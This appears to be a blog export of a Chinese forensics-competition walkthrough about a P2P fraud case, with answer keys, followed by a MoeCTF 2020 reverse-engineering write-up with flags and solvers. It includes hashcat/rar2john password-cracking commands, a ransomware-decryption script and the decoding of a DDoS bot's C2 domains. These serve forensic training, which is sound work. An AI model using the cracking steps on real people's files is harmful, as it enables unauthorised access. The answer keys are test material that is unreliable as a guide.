3.2.0-4-amd64 C. 4.8.0-52-generic D. 4.10.0-28-generic 火眼仿真生成虚拟机,VM打开: 原服务器存在多少硬盘分区?(B) A.1 B.2 C.3 D.4 原服务器中硬盘分区其中含有一个 LVM 逻辑卷的分区,请找出该分区内开始的逻辑区块地址(LBA)。(答案格式: 扇区,Sector)(C) A.0 B.2048 C.2099200 D.4194344 逻辑区块地址(Logical Block Address, LBA)是描述计算机存储设备上数据所在区块的通用机制,一般用在像硬盘这样的辅助记忆设备。LBA可以意指某个数据区块的地址或是某个地址所指向的数据区块。 通过查找知道题目所说的分区是:FMP证据文件 -> 展开镜像 -> 选中 分区2 -> 摘要 -> 查看 物理位置: 但是这个内存物理地址的单位是字节(Byte),而一个逻辑区块占用512位,所以要将这个值除以512。 1074790400/512=2099200 该 LVM 逻辑卷分区内 root 逻辑卷的文件系统是什么?(D) A.NTFS B.EXT4 C.SWAP D.XFS 该 LVM 逻辑卷分区内 root 逻辑卷的物理大小是多少?(单位:byte)(C) A. 2,147,483,648 B. 2,147,504,128 C. 18,249,416,704 D. 20,400,046,080 与答案C最为接近 请找出该服务器的网站访问端口是什么?(D) A.22 B.25 C.80 D.8091 该服务器中运行了 docker 应用,在本地有多少 docker 镜像?(B) A.10 B.11 C.12 D.13 在运行中的容器节点中,其中一台容器 ID 为 15debb1824e6 的容器节点,它运行了什么服务?(C) A. ftp B. ssh C. nginx D. smtp 上题容器节点中,占用了主机的哪个端口?(C) A.22 B.8091 C.39999 D.未占用端口 该服务器中网站运行在 docker 容器中,其中 web 服务使用的是什么应用?(C) A. apache B. tomcat C. nginx D. IIS 上题所述运行 web 服务的容器节点,使用的镜像名称是什么?(格式 REPOSITORY:TAG) (D)A. apache: latest B. tomcat: jessie-slim C. nginx: jessie-slim D. nginx: latest 上题所述容器节点占用的容器端口是什么?(B) A.22 B.80 C.8091 D.未占用端口 docker ps 命令中在PORTS里面显示了两个端口,前面0.0.0.0就是主机,也就是自己,而后面的转发端口就对应着docker的端口 该 docker 应用的 server 版本是多少?(B) A.16.05.2 B.17.03.08 C.18.09.7 D.19.03.3 该 docker 应用中总共有多少容器节点?(A) A.10 B.11 C.12 D.13 运行中的容器节点有多少?(D) A.1 B.2 C.3 D.4 命令:docker info: 网站目录所在的容器内部路径为(格式:容器 ID:路径)(B) A. d1085c1a8828:/home/ vue2-element-touzi-admin B. 53766d68636f:/ home/ vue2-element-touzi-admin C. 16fc160060c1:/var/www/ vue2-element-touzi-admin D. 15debb1824e6: /var/www/ vue2-element-touzi-admin 可以进三个开启的容器找一下: 网站目录所在的主机路径为下列选项中的哪个?(A) A. /var/lib/docker/overlay2/cca977c8ca4a251023000285fbc8b4556636e1adc53cb012c84133a7b857abfc/diff/home/vue2-element-touzi-admin B. /var/lib/docker/overlay2/fd27756120785ef656c9211b6147ef5f38d6a9811006d85359458f7fa8d45415/diff/home/vue2-element-touzi-admin C. /var/lib/docker/overlay2/f405ba5e3f1f0e04a3585fbc95a47d13b4009dd9d599ac91015babebd5a5ff9b/diff/var/www/ vue2-element-touzi-admin D. /var/lib/docker/overlay2/d42b9a02aa87386b137242f691cb3e6303c4c0f3441419efb17ff550fdf5de28/diff/var/www/ vue2-element-touzi-admin 网站日志的路径在哪?(格式:容器 ID:路径)(C) A. 53766d68636f:/etc/nginx/logs/jrweb.log B. 53766d68636f:/var/log/access.log C. 16fc160060c1:/etc/nginx/logs/jrweb.log D. 16fc160060c1:/var/log/access.log 在取证大师里面搜索“投资”(“jrweb“): 22题同21 案发当时,该服务器的原始 IP 地址是多少?(D) A.192.168.160.89 B.192.168.184.100 C.192.168.120.111 D.192.168.184.128 可以看看上一个题的日志文件: 在这里明显能看到猜解密码的行为,所以这个时候就是“案发当时”,此时的IP地址就是192.168.184.128:8091 在 docker 中,各容器节点和主机之间的网络连接模式是什么?(A) A. bridge 模式 B. host 模式 C. container 模式 D.none 模式 $ docker inspect ID 当我们想将网站重构好时,访问网站时,web 应用在其中承担什么样的工作?(B) A.运行网站 B.转发 C.反向代理 D.负载均衡 从网站日志中,我们可以看到嫌疑人入侵服务器所使用的 IP 是(C) A.192.168.184.1 B.192.168.160.89 C.192.168.184.133 D.192.168.160.169 在上面的日志里面,我们明显可以看到用户192.168.184.133在爆破admin用户的password: 网站目录中网站的主配置文件是哪一个?(相对路径)(C) A./config/index.js B./server/api.js C./server/index.js D./src/main.js 该网站使用的是什么数据库?(B) A.mysql B.oracle C.mongodb D.redis 一般来说,项目都是从github上面clone下来的,所以根目录应该在home文件夹下,查看README.md文件,发现: 我们再分别查看27中的四个选项,只有/server/index.js有各种引入,所以这个应该是主配置文件(误× 这里他说的是node js的配置文件,所以应该在/server目录下,对比三个文件,明显就是C选项 所使用数据库的端口是多少?(D) A.1521 B.3306 C.6379 D.27017 数据库所在服务器 IP 是多少?(D) A.192.168.160.131 B.192.168.184.131 C.192.168.160.169 D.192.168.184.129 数据库的用户名是什么?(A) A. root B. tougu C. admin D. goose 数据库的密码是什么?(D) A.123456 B. admin C. goose D. root 该网站所使用的数据库库名是什么?(B) A. root B. tougu C. admin D. goose 查看db.js文件: 在案发时,黑客对该服务器某个文件/目录进行了加密,请问是哪个文件/目录?(A) A. ~/.bash_history B. /var/log/ C. /etc/ssh/sshd_config D. ~/runit-agent.txt Part 2你获得了该 P2P 理财网站数据库服务器硬盘镜像文件“检材 2.E01”,根据这个镜像文件,回答下列问题: 该数据库服务器使用数据库的安装路径在哪?(D) A. /etc/mysql/ B. /home/redis/ C. /etc/mongo/ D. /var/lib/mongo/ 数据库的配置文件的路径?(C) A. /var/lib/mongo/mongo.conf B. /var/lib/mongo/mongod.conf C. /etc/mongod.conf D. /home/redis/redis.conf 数据库的日志文件路径在哪里?(C) A. /etc/redis.log B. /var/log/mongodb.log C. /var/log/mongodb/mongod.log D. /var/li/mongo/mongo.log 顺手看看配置文件: 该数据库的网站用户表名是什么?(B) A. user B. users C. touzi D. licai 该数据库中网站用户表里的密码字段加密方式是(A) A.未加密 B.双重 MD5 C.MD5 加 salt D.MD5 该用户表被做过什么样的修改?(B) A.删除用户 B.修改用户密码 C.修改用户名 D.添加用户 嫌疑人对该数据库的哪个库进行了风险操作?(C) A. licai B. touzi C. tougu D. admin 嫌疑人对上述数据库做了什么样的风险操作?(D) A.修改库名 B.添加库 C.查询库 D.删除库 因为读取用户的注册信息在前端,所以我们回到前端(检材1)来看看代码: 这里逻辑很清晰,没有对data[0].password进行解密,或者password进行加密操作,所以应该是“未加密” 嫌疑人在哪个时间段内登陆数据库?(D) A.18:03-18:48 B.18:05-18:45 C.18:01-18:50 D.18:05-18:32 嫌疑人在什么时间对数据库进行了 42 题所述的风险操作?(A)A.18:09:37 B.18:09:40 C.18:09:44 D.18:09:50 Part 3经调查,你扣押获得了一台嫌疑人使用过的 VPN 服务器,并用服务器硬盘制作成“检材 3.E01” 镜像文件,根据该镜像文件,回答下列问题: 该服务器所使用的 VPN 软件,采用了什么协议(B)A.L2TP B.PPTP C.IPSec D.NFS 该服务器的时区为(D) A. Asia/ShangHai B. Asia/Tokyo C. Asia/Bangkok D. Asia/Dhaka 该服务器中对 VPN 软件配置的 option 的文件位置在哪里?(A) A. /etc/ppp/options.pptpd B./var/lib/vpn/options.pptpd C./etc/ipsec/options.ipsecd D./etc/l2tp/options.l2tpd VPN 软件开启了写入客户端的连接与断开,请问写入的文件是哪个?(A) A.wtmp B.btmp C.ftmp D.tmp VPN 软件客户端被分配的 IP 范围是(B) A.192.168.184.1-192.168.184.11 B.192.168.184.12-192.168.184.18 C.192.168.184.19-192.168.184.26 D.192.168.184.27-192.168.184.35 由 option 文件可以知道,option 文件配置了 VPN 软件的日志路径为(D) A./var/lib/logs/ B./etc/logs/ C./var/log/pptp/ D./var/log/ 然后我们顺手打开配置文件: 然后再顺手看看options文件: VPN 软件记录了客户端使用的名称和密码,记录的文件是(C) A. /etc/l2tp/chap-secrets B. /etc/ipsec/pap-secrets C. /etc/ppp/chap-secrets D. /etc/ppp/pap-secrets 四个选项的目录里面找一下~ 在服务器时间2019-07-02_02:08:27登陆过VPN客户端的用户名是哪个?(C) A. root B. vpn1 C. vpn2 D. vpn3 上题用户登陆时的客户IP是什么?(A) A. 192.168.184.133 B. 172.16.81.101 C. 192.168.184.134 D. 192.168.43.238 通过 IP172.16.80.188 登陆VPN服务器的用户名是哪个?(A) A. root B. vpn1 C. vpn2 D. vpn3 上题用户登陆 VPN 服务器的北京时间是(D) A. 2019-07-11_10:46:50 B. 2019-07-11_11:30:36 C. 2019-07-13_14:15:37 D. 2019-07-13_16:15:37 查看日志文件: 前几题得知,服务器时间是Asia/Dhaka,比北京时间早2h,所以北京时间应该是2019-07-13_16:15:37 该服务器曾被进行过抓包,请问 network.cap 是对哪个网卡进行抓包获得的抓包文件?(B) A.eth0 B.ens33 C.ens37 D.ens160 对 ens37 网卡进行抓包产生的抓包文件并保存下来的是哪个?(D) A. network.cap B. network1.cap C. net0713.cap D. net0713-1.cap 从保存的数据包中分析可知,出口的 IP 为(A) A. 172.16.80.92 B. 172.16.81.101 C. 172.16.81.188 D. 172.16.80.133 我们用wireshark打开net0713.cap文件跟踪tcp流,但是找不到ABCD任何一个选项……我们再打开net0713-1.cap数据包,找到答案: 但是为什么第一个数据包里面就没有答案呢???这是因为该vpn服务器为双网卡,对内IP为192.168.184.133,具备对检材1(192.168.184.128)和检材2(192.168.184.129)访问权限,出口/服务端IP为172.16.80.92。 Part 4你抓获了嫌疑人,并扣押了嫌疑人笔记本电脑,制作笔记本硬盘镜像文件“检材 4.E01”,请根据镜像文件,回答下列问题: 计算“检材 4.E01”文件的 sha256 值(C) A. 58a4ab5ee3dc4c4a279fa8287ed7dce315090512fa87127f8f9278c7972366c5 B. 58a4ab5ee3dc4c4a279fa8287ed7dce315090512fa87127f8f9278c7972366c6 C. e6e47e210bd56c7071ce73ab5523736120071d0f3da5335936d7beb25c3914cd D. 1e646dec202c96b72f13cc3cf224148fc4e19d6faaaf76efffc31b1ca2cdd200 请分析该检材的操作系统版本(A) A. Windows 10 Education B. Windows 10 Home C. Windows 10 Pro D. Windows 10 Enterprise 找出该系统用户最后一次登陆时间:(C) A. 2019-07-14 10:50:02 B. 2019-07-14 10:10:02 C. 2019-07-14 10:40:02 D. 2019-07-14 10:30:02 找出该系统最后一次正常关机时间:(C) A. 2019-07-14 17:30:05 B. 2019-07-14 10:30:05 C. 2019-07-14 11:30:05 D. 2019-07-14 12:30:05 请计算检材桌面上文本文件的 sha256 值:(A) A. 58a4ab5ee3dc4c4a279fa8287ed7dce315090512fa87127f8f9278c7972366c5 B. 58a4ab5ee3dc4c4a279fa8287ed7dce315090512fa87127f8f9278c7972366c6 C. 58a4ab5ee3dc4c4a279fa8287ed7dce315090512fa87127f8f9278c7972366c7 D. 58a4ab5ee3dc4c4a279fa8287ed7dce315090512fa87127f8f9278c7972366c8 该系统于 2019 年 7 月 13 日安装的软件为:(A) A. Eraser B. Putty C. Xftp D. Xshell 找出该嫌疑人于 2019-07-13 17:52:19 时,使用 WinRAR 工具访问了_____文件:(D) A.navicat11.zip B. we.tar.gz C. test2-master.zip D. BitLocker.rar 系统于 2019-07-13 17:53:45 时运行了___程序:(D) A. regedit.exe B. WinRAR.exe C. Xshell.exe D. Foxmail.exe 文件test2-master.zip是什么时间下载到本机的:(D) A. 2019-07-13 14:21:01 B. 2019-07-13 17:22:01 C. 2019-07-13 15:23:01 D. 2019-07-13 16:20:01 下载文件一般都是默认储存在“下载”文件夹下: 文件 test2-master.zip 是使用什么工具下载到本地的:(A) A. Chrome B. Internet Explorer C. edge D.迅雷 嫌疑人成功连接至 192.168.184.128 服务器的时间为:(A) A. 2019-07-13 16:21:28 B. 2019-07-13 16:21:31 C. 2019-07-13 16:21:35 D. 2019-07-13 16:21:25 在取证大师里面查看上网记录: 嫌疑人通过远程连接到 128 服务器,下载了什么文件到本机:(B) A. web.tar.gz B. we.tar.gz C. home.tar.gz D. wwwroot.tar.gz 承接上一题,下载该文件用了多长时间:(C) A.10 秒 B.20 秒 C.15 秒 D.25 秒 请计算该下载文件的 sha256 值:(D) A. 077d894557edf44e5792e0214e0f1c46b9b615be11ac306bcce2af9d666f47d8 B. 077d894557edf44e5792e0214e0f1c46b9b615be11ac306bcce2af9d666f47d7 C. 077d894557edf44e5792e0214e0f1c46b9b615be11ac306bcce2af9d666f47d6 D. 077d894557edf44e5792e0214e0f1c46b9b615be11ac306bcce2af9d666f47d5 取证大师里面搜索关键字.tar.gz: 在检材四中找不到文件,又因为他是从192.168.184.128下载获取we.tar.gz,所以我们从检材一中找到文件,计算SHA256: 请分析并提取,嫌疑人所用的手机的IMEI 号码:(C) A. 352021062748965 B. 352021062748966 C. 352021062748967 D. 352021062748968 国际移动设备识别码(International Mobile Equipment Identity,IMEI),即通常所说的手机序列号、手机“串号”,用于在移动电话网络中识别每一部独立的手机等移动通信设备,相当于移动电话的身份证。 嫌疑人是通过何种方式联系到售卖恶意程序的卖家的:(B) A.微信 B.QQ C.短信 D.邮件 嫌疑人和卖家的资金来往是通过何种方式:(A) A.微信 B.QQ C. 银行转账 D.支付宝 嫌疑人在犯罪过程中所使用的 QQ 账号为:(A) A. 1649840939 B. 1137588348 C. 364505251 D. 1722629449 卖家所使用的微信账号 ID 为:(C) A. refrain_C B. flame_guan C. chao636787 D. sword19880521 嫌疑人下载了几个恶意程序到本机:(B) A. 1 B. 2 C. 3 D. 4 我们在火眼取证中找到手机备份,然后添加到检材,然后分析,密码??试一下检材4桌面上的``niuroumian6`!对了! 然后我们翻一翻他的社交~看看QQ……两个号,一个号好没营养……看看另外一个,woc,大型犯罪现场!!!发现一些关键信息,我们做个笔记: 再瞅瞅微信,发现记录和QQ对应: 恶意程序被嫌疑人保存在什么位置:(D) A.D:/DOWNLOAD B. C:/USER C. C:/ D.D:/ 恶意程序是使用什么工具下载到本地的:(C) A. Chrome B. Internet Explorer C. edge D.迅雷 嫌疑人是什么时间开始对受害者实施诈骗的:(C) A. 2019-07-13 19:14:44 B. 2019-07-13 19:24:44 C. 2019-07-13 19:04:44 D. 2019-07-13 19:44:44 请提取受害者的银行卡信息,银行卡账号为:(B) A. 6225000088217563457 B. 6225000088257563456 C. 6225000088257563458 D. 6225000088257563459 在电脑里面的备份平台里面有一台虚拟机,搞出来,有密码???搞他!我们先修改密码,在/home/admin888/fund/文件夹下发现sqlite数据库,我们导出来~ $ scp [email protected]:/home/admin888/fund/db.sqlite3 ./db.sqlite3 $ python3 -m http.server 2021 然后根据手机号定位受害人是赵昊,数据库里面查看银行卡号: 请综合分析,嫌疑人第一次入侵目标服务器的行为发生在:(C) A. 2019-07-13 16:17:30 B. 2019-07-13 16:17:32 C. 2019-07-13 16:17:35 D. 2019-07-13 16:17:38 请综合分析,嫌疑人入侵服务所使用的登陆方式为:(B) A. SSH 密码登陆 B. SSH 密钥登陆 C. 连接后门程序 D.FTP 登陆 我们之前在检材四中的xshell数据文件中见到了密钥文件: 可知嫌疑人应对外发送过邮件,请分析并找到发出的邮件,可知邮件的发送时间为:(B) A. 2019-07-13 17:55 B. 2019-07-14 17:56 C. 2019-07-14 17:57 D. 2019-07-14 17:58 可知嫌疑人应对外发送过邮件,请分析并找到发出的邮件,可知邮件收件人为:(B) A. [email protected] B. [email protected] C. [email protected] D. [email protected] 这个题目是真的骚,我们在前面有发现,他下载过Foxmail,于是我们查看Foxmail使用痕迹,然后把时间定位到2019-07-13 17:52:20,所以一般就选择A,但是是错的……因为他不一定用Foxmail发文件。所以我们换一个思路,在检材三中(嫌疑人使用的VPN服务器)有数据包,既然他发邮件,那么一定走了代理,所以我们再研究研究那个检材3的那两个数据包。这里有一个姿势点: 常用的电子邮件协议有SMTP、POP3、IMAP4它们都隶属于TCP/IP协议簇. 所以我们数据包里面直接找这几个协议: 请重构被入侵的网站,可知该网站后台管理界面的登陆用户名为:(C) A. root B Administered C. admin D. user 重构网站需要先恢复数据库,我们再检材2中有加密程序,有加密过的数据库。所以我们开始老本行!逆! 思路很简单,上exp: 123456789from string import *with open("db.encrypt",'rb') as f: s=f.read()r=bytes([((x^0xaa)+256-66)%256 for x in s])with open('db', 'wb') as inp: inp.write(r) 然后计算SHA256: 我们在检材4的C盘中看到了一个待挂载的硬盘: 然后双击,显示Bitlocker: 我们打开Bitlocker: 现在我们缺少密码……还记得前面在翻QQ的时候看到的那个消息嘛,提示一下: 我们再根据他的QQ号和上面这个内容,可以猜到,在前面我们分析的邮件正是他用来备份密码的右键,我们复原一下邮件: 发现4个EML文件,导出以后,直接下载 但是有密码!!!我们联想检材4桌面上的字典和niuroumian6,我们尝试用这个字典来爆破压缩包。这里爆破用的工具是开膛手john和hashcat: $ rar2john.exe BitLocker.rar BitLocker.rar:$rar5$16$0c231f49ba3ded4bc944dee58f2be760$15$2a5c3ec4a5380b7a9d5517cc8ba386b6$8$07400e39e08a2e03` $ hashcat.exe -m 13000 -a 0 $rar5$16$0c231f49ba3ded4bc944dee58f2be760$15$2a5c3ec4a5380b7a9d5517cc8ba386b6$8$07400e39e08a2e03 新建文本文档.txt 打开密钥备份文件,用恢复密钥成功解锁硬盘: 查看db文件,和我们前面逆向加密程序恢复的db一样。 里面还有那个网站的……所有东西,那我们把这个dump出来,: 请重构被入侵的网站,并登陆网站后台管理界面,对该网站进行证据固定,可知该网站首页左侧导航栏,不包含下列那个内容:(D) A. 信息列表 B. 资金管理 C. 资金数据 D. 会员信息 通过分析知,嫌疑人对目标服务器植入了勒索程序,请解密检材 2 中的被加密数据库, 其sha256值为:(A) A. 8dcf2f71482bb492b546eec746c714be9324ea254778bf5cbb9e5115b30c77a2 B. 8dcf2f71482bb492b546eec746c714be9324ea254778bf5cbb9e5115b30c77a3 C. 8dcf2f71482bb492b546eec746c714be9324ea254778bf5cbb9e5115b30c77a4 D.8dcf2f71482bb492b546eec746c714be9324ea254778bf5cbb9e5115b30c77a5 通过分析知,嫌疑人有对目标服务器植入 ddos 程序,对该程序进行功能性分析,可知该程序会将自身复制到目标机器的什么目录下:(B) A. /etc B. /lib C. /root D. /tmp 通过分析知,嫌疑人有对目标服务器植入 ddos 程序,对该程序进行功能性分析,可知该程序主控地址为(多选):(AD) A. shaoqian.f3322.net B. shaoqian.f3344.net C. gh.dsaj3a2.org D. gh.dsaj2a1.org 根据聊天记录易知,该ddos程序是runit,我们在检材四里面找到该文件,然后逆向分析…… 我们在main函数里面看见有一些乱码,然后前面跟了解密函数。我们跟进然后机密看看: 然后我们再找找程序里面还有那些加密数据,然后写个脚本解一下: 123456789101112131415enc=["m7A4nQ_/nA","m [(n3","m6_6n3","m4S4nAC/n&ZV","m.[$n__#4%\\\\C","m.[$n3","m4S4nAC/nA","m4S4nAC/n&ZV","m.[$n__#4%\\\\C","m.[$n3"]a=[0x36,0x46,0x36,0x7B,0x1C,0x19,0x27,0x34,0x2D,0x55,0x1B,0x50,0x42,0x27,0x5A,0x70,0x23,0x1C,0x29,0x33,0x54,0x19,0x23,0x6E,0x34,0x17,0x45,0x5C,0x41,0x79,0x59,0x26,0x7F,0x46,0x23,0x32,0x47]b=[0x25,0x2A,0x1C,0x22,0x32,0x52,0x5C,0x73,0x20,0x70,0x17,0x5A,0x46,0x56,0x7C,0x2,0x76,0x76,0x6,0x3A,0x32,0x5B,0x57,0x2E,0x30,0x28,0x58,0x5B,0x1A,0x57,0x75,0x3,0x70,0x70,0x1C,0x29,0x33,0x54,0x0C,0x73,0x75,0x75,0x0D,0x49,0x5,0x9,0x75,0x1E,0x74,0x72,0x1C,0x74,0x71,0x1,0x18,0x73,0x7B,0x73,0x0D]key = [0x42,0x42,0x32,0x46,0x41,0x33,0x36,0x41,0x41,0x41,0x39,0x35,0x34,0x31,0x46,0x30]for i in enc: for j in range(0,len(i)): print(chr(ord(i[j])^key[j%16]),end='') print()for i in range(0,len(a)): print(chr(a[i]^key[i%16]),end='')print()for i in range(0,len(a)): print(chr(b[i]^key[i%16]),end='') 然后,,,然后我就不会了……至于复制到哪里,我是拿着答案去找的。main函数调用了一个daemon_process: 应该就是这样吧…… Frank会长说:“一直纠结一个题就没意思了!” 那就,,,放过吧~ 压缩包 test2-master.zip 中的文件是什么?(C) A.恶意软件 B.加密程序 C.密钥文件 D.下载软件 应用程序 TrueCrypt-7.2.exe 是在什么时间下载到本机的?(C) A. 2019-07-06 00:04:38 B. 2019-07-06 00:06:38 C. 2019-07-06 00:08:38 D. 2019-07-06 00:10:38 文件 runit.txt 从哪个域名下载的?(D) A.https://pan.forensix.cn/lib/367d7f96-299f-4029-91a8-a31594b736cf/runit B. https://pan.baidu.com/s/19uDE7H2RtEf7LLBgs5sDmg?errno=0&errmsg=AuthLoginSucess&&bduss=&ssnerror=0&traceid= C.https://pan.forensix.cn/seafhttp/files/dec88b97-b2bc-414f-93a3-dcbbc15d615/runit D.https://pan.forensix.cn/seafhttp/files/8fdf1982-e323-4efe-ae28-2bba21b5162c/runit BitLocker 密钥在什么位置?(B) A. D:/DOWNLOAD B. C:/USER C. C:/ D. D:/ BitLocker.rar 生成的时间是?(B) A. 2019-07-13 17:51:47 B. 2019-07-13 17:52:19 C. 2019-07-13 17:53:24 D. 2019-07-13 16:31:06 文件 we.tar.gz 传输完成的时间是?(C) A. 2019-07-13 16:31:06 B. 2019-07-13 16;33:00 C. 2019-07-13 16:33:15 D. 2019-07-13 16:33:30 嫌疑人在什么时间登陆网页微信?(A) A. 2019-07-13 16:34:55 B. 2019-07-13 16:40:13 C. 2019-07-13 16:45:45 D.2019-07-13 16:53:45 嫌疑人于 2019-07-13 17:22:23 下载了什么文件?(B) A.网站目录压缩文件 B.数据库备份文件 C.网站日志文件 D.数据库日志文件 硬盘 C 盘根目录中,文件pagefile.sys.vhd的作用是什么?(D) A. pagefile 页面交换文件 B. 虚拟机启动文件 C. 系统配置文件 D. 虚拟磁盘 ……在前面我们双击这个,然后解开Bitlocker,就挂载上了D 盘,所以应该是虚拟磁盘。","categories":[{"name":"电子取证学习","slug":"电子取证学习","permalink":"http://example.com/categories/%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"电子取证","slug":"电子取证","permalink":"http://example.com/tags/%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81/"}],"author":"BlackBird"},{"title":"2020moectf Reverse","slug":"2020moectf-Reverse","date":"2020-10-30T17:45:14.000Z","updated":"2021-02-28T15:22:38.408Z","comments":true,"path":"2020/10/31/2020moectf-Reverse/","link":"","permalink":"http://example.com/2020/10/31/2020moectf-Reverse/","excerpt":"Reverse是我得分第二高的模块。得这么多分,得感谢void大哥,然后感谢RX出题人跟我py……最后还是有三道题没做出来,唉~还是太菜了,我要继续向void大哥和RX师傅学习~","text":"Reverse是我得分第二高的模块。得这么多分,得感谢void大哥,然后感谢RX出题人跟我py……最后还是有三道题没做出来,唉~还是太菜了,我要继续向void大哥和RX师傅学习~ 我做出来的逆向工程入门指北感谢RX大神的学习资料,我就收下啦~~ Welcome To Re拖进IDA64,找到main函数,F5反编译: moectf{W3lc0me-T0_th3-W0rld_Of_R3v3rsE!} Thank you Javascript 一般而言,,运行一下,心里舒坦…… 但运行出来也没什么用。 混淆???我们查一下,关键字搜索“JS 混淆”: 什么???你没有搜索出来? 别问,问就是你的搜索引擎辣鸡! 混淆后: 1234567891011121314151617eval(function(p, a, c, k, e, d) { e = function(c) { return (c < a ? "": e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function(e) { return d[e] }]; e = function() { return '\\\\w+' }; c = 1; }; while (c--) if (k[c]) p = p.replace(new RegExp('\\\\b' + e(c) + '\\\\b', 'g'), k[c]); return p;} ('l 1=m(\\'k-4-2\\');i j 6(){1.2(\\'q r p --n o b\\');1.2(5 1.4());1.2(`a ${5 1.d(\\'9 h e?\\')}!`);f 3=g;F(!3){1.2(\\'D E 7 B 8:\\');3=5 1.4()===\\'G{H\\'+\\'c\\'+\\'v\\'+\\'w\\'+\\'0\\'+\\'u-\\'+\\'s\\'+\\'t\\'+\\'z\\'+\\'A\\'+\\'!}\\'}1.2(\\'y! x C 7 8!\\')}6();', 44, 44, '|io|write|saidHi|read|await|main|the|flag|Who|Hello|Reverier||ask|you|let|false|are|async|function|console|const|require|written|by|ThankYouJavaScript|MoeCTF|2020|Jav|aS||k_|Y|You|Congratulations|cr|ipt|true|find|Please|input|while|moectf|Fx'.split('|'), 0, {})) 解混淆后: 1234567891011121314const io=require('console-read-write');async function main(){ io.write('MoeCTF 2020 ThankYouJavaScript --written by Reverier'); io.write(await io.read()); io.write(`Hello ${await io.ask('Who are you?')}!`); let saidHi=false; while(!saidHi) { io.write('Please input the true flag:'); saidHi=await io.read()==='moectf{Fx'+'c'+'k_'+'Y'+'0'+'u-'+'Jav'+'aS'+'cr'+'ipt'+'!}' } io.write('Congratulations! You find the flag!')}main(); moectf{Fxck_Y0u-JavaScript!} Simple Re先运行一下: 嗯???竟然不直接给我flag,把他交给我的女朋友IDA,让我女朋友来收拾他!!! 发现关键比较!还是我女朋友厉害!!! 思路比较清晰,就是把我们输进去的东西进行一堆异或操作,然后和加密过的flag比较,也正应了提示:异或异或! 那我们把加密过的flag抠出来,然后写一个程序的逆向算法就ok了,但是异或怎么逆呢??? 性质 1、交换律 2、结合律,即(a ^ b) ^ c == a ^ ( b ^ c) 3、对于任何数x,都有x ^ x=0,x ^ 0=x 4、自反性 A XOR B XOR B = A xor 0 = A 这里利用了异或操作的交换率和自反性 直接贴解密脚本: 12345678910111213141516171819202122232425262728293031323334353637383940#include<bits/stdc++.h>using namespace std;int main(int){ string aim="rpz|kydKw^qTl@Y/m2f/J-@o^k.,qkb"; for (int i = 0; i <= 30; ++i ) aim[i] ^= 0x17; for (int j = 0; j <= 30; ++j ) aim[j] ^= 0x39u; for (int k = 0; k <= 30; ++k ) aim[k] ^= 0x4Bu; for (int l = 0; l <= 30; ++l ) aim[l] ^= 0x4Au; for (int m = 0; m <= 30; ++m ) aim[m] ^= 0x49u; for (int n = 0; n <= 30; ++n ) aim[n] ^= 0x26u; for (int ii = 0; ii <= 30; ++ii ) aim[ii] ^= 0x15u; for (int jj = 0; jj <= 30; ++jj ) aim[jj] ^= 0x61u; for (int kk = 0; kk <= 30; ++kk ) aim[kk] ^= 0x56u; for (int ll = 0; ll <= 30; ++ll ) aim[ll] ^= 0x1Bu; for (int mm = 0; mm <= 30; ++mm ) aim[mm] ^= 0x21u; for (int nn = 0; nn <= 30; ++nn ) aim[nn] ^= 0x40u; for (int i1 = 0; i1 <= 30; ++i1 ) aim[i1] ^= 0x57u; for (int i2 = 0; i2 <= 30; ++i2 ) aim[i2] ^= 0x2Eu; for (int i3 = 0; i3 <= 30; ++i3 ) aim[i3] ^= 0x49u; for (int i4 = 0; i4 <= 30; ++i4 ) aim[i4] ^= 0x37u; cout<<aim; return 0;} 基本上是从女朋友IDA那里直接拿的,就加了一点点…… Protection 这个提示已经很明显了,“给程序套一层衣服”=>”壳”: DIE查一下壳:UPX3.96,我们直接在github上面找UPX3.96壳的脱壳机进行“脱衣,扒光”: 我这个时候试运行一下: 哼~西内!竟然不直接给我flag,那你去见见我女朋友吧: 哟西~还是女朋友靠谱!!!程序逻辑很简单,还是异或操作,直接贴解密程序: 123456789101112#include<bits/stdc++.h>using namespace std;int main(){ string x="aouv#@!V08asdozpnma&*#%!$^&*"; char v5[30]; int y[30]={12,0,16,21,87,38,90,35,64,64,62,66,55,48,9,25,3,29,80,67,7,87,21,126,81,109,67,87}; for (int i = 0; i <= 27; ++i ) v5[i]= y[i] ^ x[i]; cout<<v5; return 0;} moectf{upx_1S_simp1e-t0_u3e} Real EasyPython下载下来是.pyc文件,这个文件可以简单地理解成py的编译文件,所以我们按照常规思路,我们需要把这个反编译。搜索关键字“Python 反编译”: 可以在第一个网站上在线反编译,也可以在第二个的里面找到工具uncompyle6,我们这里讲一下python反编译工具的使用: pip install uncompyle6 uncompyle6 puzzle.pyc > puzzle_dec.py 我们下来直接看反编译的python脚本: 1234567891011121314151617key = [ 115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]print('Input your flag: ', end='')flag = input()out = []for i in flag: out.append(ord(i) >> 4 ^ ord(i))if len(out) != len(key): print('TRY AGAIN!') exit()for i in range(len(out)): if out[i] != key[i]: print('TRY AGAIN!') exit()print('you are right! the flag is : moectf{%s}' % flag) 程序思路很清晰,但是这里有个小点:脚本里面的>>操作怎么处理呢???直接<<不就完了。错!因为>>操作是将该数据转化为二进制然后抹去最后四位;而<<操作是将该数据转化为二进制,然后直接在最后面补上四个’0’。所以这里的>>暴力处理一下,上脚本: 12345678910111213141516#include<bits/stdc++.h>using namespace std;int main(){ int ori[50]={115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35}; char rel[50]; for(int i=0;i<33;i++) { for(int j=33;j<127;j++) if((j>>4^j)==ori[i]) rel[i]=j; } cout<<rel; return 0;}# moectf{tH1s_1s_th3-R3a1ly_3asy_Python!} RxEncode这个题……直接找我女朋友,我相信我搞不定,必须要找女朋友来帮忙。在IDA先查一下字符串: 看到那么一串字符串,盲猜换表base64然后看一看主函数的思路: 程序的思路: 输入flag=>“换表base64”加密=>与程序内部数据对比=>yes/no 那我们的思路就是: 扣出内部数据=>“换表base64”解密=>flag 